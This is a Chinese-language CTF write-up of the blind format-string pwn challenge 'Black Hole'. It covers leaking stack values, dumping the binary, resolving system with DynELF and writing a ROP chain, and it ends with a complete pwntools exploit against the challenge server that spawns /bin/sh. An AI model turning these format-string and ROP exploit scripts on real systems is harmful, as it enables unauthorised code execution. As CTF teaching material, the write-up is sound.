MENU

PWN Challenge Black Hole

January 22, 2021 • Read: 145 • Pwn,CTF

这是一道BROP的题目,题目只给了nc的地址和端口

经过使用%p测试可以发现程序存在printf格式化字符串漏洞

解题步骤

1.确定程序位数

我是用的方法是用多个%p输出栈上的地址,然后对其内容进行分析:

如果看到有0x7f这种的话那么基本上可以确定是64位的程序。

而如果看到的内容是0xff,那么基本上可以确定是32为的程序。

或者可以观察输出的最大长度,如果基本上都是小于4字节的,那么基本上可以推断这个是32位程序。

2.dump程序内容

确定了程序的位数之后就来考虑dump出程序的内容,我采用的方法是,观察栈上的数据(通过%p)

然后观察有没有0x55或者0x56开头的地址(开启PIE),或者0x400开头(x64),0x80开头(x32)。

这些地址大概率就是指向程序中的一行代码(call之后的返回地址)。

接下来我们就需要通过这些地址来找到程序的基地址,

而我们又知道这些地址的后12位是不会变化的,而程序的基地址的后12位通常都是0,那么我们就可以让这些地址的后12位变成0之后,再通过%s输出相应的内容,如果发现了/x7FELF这种内容,那么就应该是找到了程序的基地址。

找到基地址之后就从基地址开始往后读取整个文件

直到发生异常之后结束,但是这里还要考虑到程序读取过程中可能会有时间限制,可能超过一段时间就自动断开了,比如这道题就是这样的。所以我们要在现在网上大量的脚本上再进行修改,让其自动重连,一般来说BROP的程序都不会很长,所以一般读取到一个页(4096字节)就结束了。

offset = 0
last_offset = 0
text_seg = ''
error_cnt = 0
while True:
    try:
        r = remote('nc.eonew.cn', 10012)
        base = int(leak_point(35), 16) - 0x9fd
        while True:
            ret = leak_func(base + offset)
            text_seg += ret
            offset += len(ret)
    except EOFError:
        if offset - last_offset <= 3:
            error_cnt += 1
        if error_cnt == 20:
            break
        last_offset = offset

print '[+]',len(text_seg)
with open('./pwn','wb') as f:
    f.write(text_seg)

dump过程中还是会遇到一些问题的,如果BROP的程序在程序结束处不是用换行输出的,而是直接输出内容的话,在这种情况下,我们很难判断剩余的数据(写入的指针地址可能被输出)是哪些,所以还需要接收一下后面输出的地址

def leak_func(addr):
    payload = "%9$s.AAA" + p64(addr)
    r.send(payload)
    data = r.recvuntil('.AAA', drop=True) + '\x00'
    #log.success("leaking: 0x{0} -> {1}".format(hex(addr), data))
    remain = r.recvrepeat(0.3)
    return data

通过百度我找到了一个比较好的处理方法,就是用r.recvrepeat来接收末尾的数据,也就是代码中addr的内容

3.分析程序代码

dump出的程序是缺少section header table的,一般情况下需要修复才能运行。但是对于这道题来说,我们可以直接静态分析一下内容,利用printf格式化字符串漏洞已经足够强大了。

图片

由于缺失的数据,在主函数中这些调用的函数都是没有名称的,在截图中我根据我的经验对其进行修改,最后就可以拿到一份几乎和源码一致的程序样本。

4.如何利用?

一般网络上都是通过修改got表来进行getshell,但是这道题我仔细思考之后发现并不可行,因为我们可以传参的地址都在循环中调用,这就意味着必须要在一次循环内写入完整的数据来修改。但是因为这里使用的read是读取到x00之后会截断,这就意味着我们无法写入多个指针信息。其次这道题似乎是FULL RELRO的,所以我们无法这样利用。

但是这道题因为可以通过exit来退出循环,所以我们可以考虑修改ret的地址来构造ROP。

5.Libc

cnitlrt师傅说这道题的libc不是标准的libc,所以我也没有做过多的测试,而是直接用DynELF来进行操作,通过DynELF可以拿到system的地址,也顺便熟悉了一下DynELF的使用

def leak(addr):
    global system_addr
    d = DynELF(leak_func, pointer = addr)
    system_addr = d.lookup('system', 'so.6')

一般来说DynELF的参数可以传入基地址指针,或者传入ELF数据,但是这里我们dump下来的文件没有经过修复,所以我们就传入基地址指针,虽然慢一点但也是可行的。

6.写入ROP

可以参考我之前做的题目,这里我们通过转换,把单字节写入转化为多字节的写入,然后构造ROP进行写入,构造ROP就不说了,我们那到源文件之后可以自行寻找,我这里是通过IDA找到的

图片

这里本来是csu函数,我先取消定义,再找到这个gadget。

接下来就是想办法找到堆栈地址了,由于我们无法动态调试,所以我们只能用搜索的方法,我这里用的方法是,先从栈上找到一个类似于栈指针的东西,然后让他-0x100(看情况调整)之后,再一直 +8 搜索,直到搜索到这个地址,搜索到的这个位置就是printf时候的堆栈位置,然后再看IDA里面分析的变量堆栈信息,就可以计算到返回地址了,这里还有一种办法就是根据canary的特征(末尾一字节是x00),也可以很快的找到返回地址。

这里写入的时候用的是send,所以需要加一点延迟防止下一个send和上一个send连在一起。

我这里用的方法很暴力,就是把log_level开起来,自然就会有一定的延迟了(来自输出)。

7.getshell

输入exit,让程序去执行ROP,然后再cat flag,就成功啦~

EXP

写的有些乱,师傅们凑合着看吧

from pwn import *
context.arch = "amd64"
print context.log_level
def leak_func(addr):
    payload = "%9$s.AAA" + p64(addr)
    r.send(payload)
    data = r.recvuntil('.AAA', drop=True) + '\x00'
    #log.success("leaking: 0x{0} -> {1}".format(hex(addr), data))
    remain = r.recvrepeat(0.3)
    return data


def leak(addr):
    global system_addr
    d = DynELF(leak_func, pointer = addr)
    system_addr = d.lookup('system', 'so.6')


def leak_point(idx):
    payload = "%{0}$p".format(idx)
    pad = 'A' * (8 - len(payload))
    r.sendline(payload + pad)
    data = r.recvuntil(pad, drop=True)
    remain = r.recvrepeat(0.3)
    return data

def leak_ptr(addr):
    p = ""
    while len(p) != 8:
        p += leak_func(addr + len(p))
        p = p[:8]
    return u64(p)

def write(addr, data):
    r.send(fmtstr_payload(8, {addr : data}))

def write_data(addr, data):
    for i in data:
        write(addr, i)
        addr += 1


r = remote('nc.eonew.cn', 10012)
pie_addr = int(leak_point(35), 16) - 0x9fd
log.success("pie_addr: " + hex(pie_addr))

ret_idx = 42
system_addr = 0

leak(pie_addr)
log.success("system_addr: " + hex(system_addr))
search_addr = int(leak_point(16), 16)
stack_addr = search_addr + 1 - 0x90 - (16 - 6) * 0x8
log.success("search_addr: " + hex(search_addr))
log.success("stack_addr: " + hex(stack_addr))
'''
#seach stack
offset = 0
while True:
    leak_p = leak_ptr(stack_addr + offset)
    if leak_p == search_addr:
        break
    print hex(offset), hex(stack_addr + offset), hex(leak_p)
    offset += 8
'''
pop_rdi_addr = pie_addr + 0xA13
ret_addr = pie_addr + 0xA14
ROP_addr = stack_addr + (ret_idx - 6) * 8 + 0x8
context.log_level = "debug"
write_data(ROP_addr, p64(pop_rdi_addr) + p64(ROP_addr + 0x18) + p64(system_addr) + '/bin/sh\x00')
for i in range(6):
   print leak_point(40 + i)
r.sendline("exit")
r.interactive()

#leak
'''
offset = 0
last_offset = 0
text_seg = ''
error_cnt = 0
while True:
    try:
        r = remote('nc.eonew.cn', 10012)
        base = int(leak_point(35), 16) - 0x9fd
        while True:
            ret = leak_func(base + offset)
            text_seg += ret
            offset += len(ret)
    except EOFError:
        if offset - last_offset <= 3:
            error_cnt += 1
        if error_cnt == 20:
            break
        last_offset = offset

print '[+]',len(text_seg)
with open('./pwn','wb') as f:
    f.write(text_seg)
'''
Last Modified: January 27, 2021
Archives QR Code Tip
QR Code for this page
Tipping QR Code